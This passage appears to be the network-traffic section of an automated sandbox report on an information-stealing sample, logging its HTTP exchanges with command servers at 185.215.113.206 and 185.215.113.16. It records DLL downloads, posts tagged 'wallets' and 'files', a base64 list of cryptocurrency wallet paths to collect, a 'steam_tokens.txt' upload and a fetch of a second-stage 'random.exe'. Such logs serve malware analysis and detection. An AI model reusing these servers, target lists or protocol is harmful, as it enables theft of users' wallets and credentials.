7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 23, 2024 05:02:55.045372963 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:55.491662979 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:55 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 23, 2024 05:02:56.128384113 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 05:02:56.642565966 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:56 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 23, 2024 05:02:57.243609905 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJK Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 05:02:58.362624884 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:58.433784008 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIEGHJJDGHCAKEBGIJK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 45 47 48 4a 4a 44 47 48 43 41 4b 45 42 47 49 4a 4b 2d 2d 0d 0a Data Ascii: ------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIIEGHJJDGHCAKEBGIJKContent-Disposition: form-data; name="message"wallets------HIIEGHJJDGHCAKEBGIJK--
Nov 23, 2024 05:02:58.882410049 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 23, 2024 05:02:59.096714973 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIECAAKECFHIECBKJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 43 41 41 4b 45 43 46 48 49 45 43 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIIIECAAKECFHIECBKJDContent-Disposition: form-data; name="message"files------HIIIECAAKECFHIECBKJD--
Nov 23, 2024 05:02:59.544435978 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:02:59.557389021 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBAFIDAECBGCBFHJEBGD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 42 41 46 49 44 41 45 43 42 47 43 42 46 48 4a 45 42 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CBAFIDAECBGCBFHJEBGDContent-Disposition: form-data; name="file"------CBAFIDAECBGCBFHJEBGD--
Nov 23, 2024 05:03:00.503022909 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:02:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 05:03:00.560324907 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="message"ybncbhylepme------HIIDGCGCBFBAKFHIJDBA--
Nov 23, 2024 05:03:01.009120941 CET	271	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 04:03:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 23, 2024 05:03:05.919419050 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAFIJKKEHJDHJKFIECAA--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49938	185.215.113.16	80	6028	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:03:01.133347034 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 23, 2024 05:03:02.463757992 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 04:03:02 GMT Content-Type: application/octet-stream Content-Length: 1893376 Last-Modified: Sat, 23 Nov 2024 03:59:46 GMT Connection: keep-alive ETag: "67415332-1ce400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@ K@WkH$JJ @.rsrcH@.idata @ `*@durrfrps1@porwkuevJ@.taggant0J"@
Nov 23, 2024 05:03:02.463788986 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:03:02.463979959 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:03:02.464046955 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:03:02.464061022 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:03:02.464622974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 05:03:02.464653015 CET	1236	IN	Data Raw: 4f cc de ba 4e ba 89 1c d5 1d b9 a5 50 b1 a4 d1 0d fd b8 19 60 30 dd bd a0 3f fe ea 92 09 9b 58 61 ad 88 dc 49 39 17 ea 5e 01 bb db cd 61 99 d9 1c 2f 8a e9 06 11 c6 11 6e 6d e6 33 cf fd 80 9c fb 1d c8 f5 46 7d bb df 8d 61 b9 99 4f b0 33 8c 97 ed Data Ascii: ONP`0?XaI9^a/nm3F}aO3"*/_MaY`p~lefV:)_nFY_Fqnb%"nLie!rf.a\|]Gch3PYGpQ?~1`MeZ^6R!x>
Nov 23, 2024 05:03:02.464665890 CET	248	IN	Data Raw: 72 59 68 9d 1a a5 c5 ad 04 d5 6f 6a 09 ec cd 69 06 e3 b3 3d 44 cd b4 f9 a4 9c 4d 72 f2 13 8c 8f e7 2a 73 c9 b4 e6 3c dd 0b 3b 7b 4c eb f5 67 6c 43 be 99 19 cb ce dc 36 53 23 7b f9 74 78 e2 20 7f f5 7e 2c ff ff 5e 06 10 56 b0 d2 9c 0d 05 37 80 c2 Data Ascii: rYhoji=DMr*s<;{LglC6S#{tx ~,^V7>9_Mx4gQ.aN8m=eg_'!j"3x<aDdF=.N-Y$Yq:rVf6~!C:F!^lS2;E1@rg
Nov 23, 2024 05:03:02.464967012 CET	1236	IN	Data Raw: 82 f0 de db 33 25 41 9d 81 df b6 55 eb 62 7f 65 44 59 0f ce 59 60 46 a9 c1 6d 3e 9a 4e 40 38 2e b4 f2 51 b0 31 ed 85 c0 bc e5 c5 36 48 f5 6f 78 9f 14 76 df 9e e1 80 d6 54 0e c0 b2 80 04 f7 65 57 1f 8a 42 6b 5d cb 80 d7 63 bb ec e8 ad 57 95 50 a9 Data Ascii: 3%AUbeDYY`Fm>N@8.Q16HoxvTeWBk]cWPrfx(~%{qoe)l,-Rxu{/qM f^iQ4A!c,5BZe K&u\U
Nov 23, 2024 05:03:02.465090036 CET	1236	IN	Data Raw: 9c dc 0e f0 78 7d 69 69 9c 6b 4e 7a a4 1e 38 1c ef 91 e9 dc 0a f1 bc 35 d6 3f 36 16 41 8b 1e de ec bd bd e1 bf e5 c9 ff 95 0f bc 9e 1f da aa 39 e3 52 c6 d7 c5 de 4d 34 2f dc 62 b1 b5 45 2a 65 48 13 88 66 b7 21 e8 39 4e c5 11 41 d0 73 23 c8 f7 d6 Data Ascii: x}iikNz85?6A9RM4/bE*eHf!9NAs#)p_\?mfg6p({D'Escc:>u^sd<z"&?{B`{w,=Bi@=$5[JV)z?NIz
Nov 23, 2024 05:03:02.583395958 CET	1236	IN	Data Raw: 11 51 b6 8a 20 df d2 a6 55 fe 01 ec d7 ad dc 36 2d 23 77 c7 8c 68 cc 6b 90 2f 5f 36 a7 9e 3e b1 cf dd b8 f0 42 f8 35 52 87 b7 79 78 27 37 bb b7 33 62 9c e0 ff 7f 6b eb 1b 28 80 d3 9d 7a 57 22 4b e0 44 33 8e e1 d4 08 29 a0 f2 a6 45 c5 c1 dc 74 c7 Data Ascii: Q U6-#whk/_6>B5Ryx'73bk(zW"KD3)Et2;{VQM/RMqZmdt'z5).>K\Jj@`6;W{CdXXm`Bc emUNe_5kjmX3/C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49956	185.215.113.206	80	6028	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 05:03:06.156882048 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAFIJKKEHJDHJKFIECAA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 65 35 31 64 33 32 63 37 66 33 63 62 34 30 31 32 65 36 32 63 36 38 35 37 65 66 35 34 62 66 64 61 31 65 36 61 30 31 31 62 34 63 64 64 37 64 33 38 36 31 36 64 65 64 63 38 38 63 33 62 32 35 63 30 39 35 37 65 34 33 39 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 2d 2d 0d 0a Data Ascii: ------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="token"2e51d32c7f3cb4012e62c6857ef54bfda1e6a011b4cdd7d38616dedc88c3b25c0957e439------AAFIJKKEHJDHJKFIECAAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AAFIJKKEHJDHJKFIECAA--
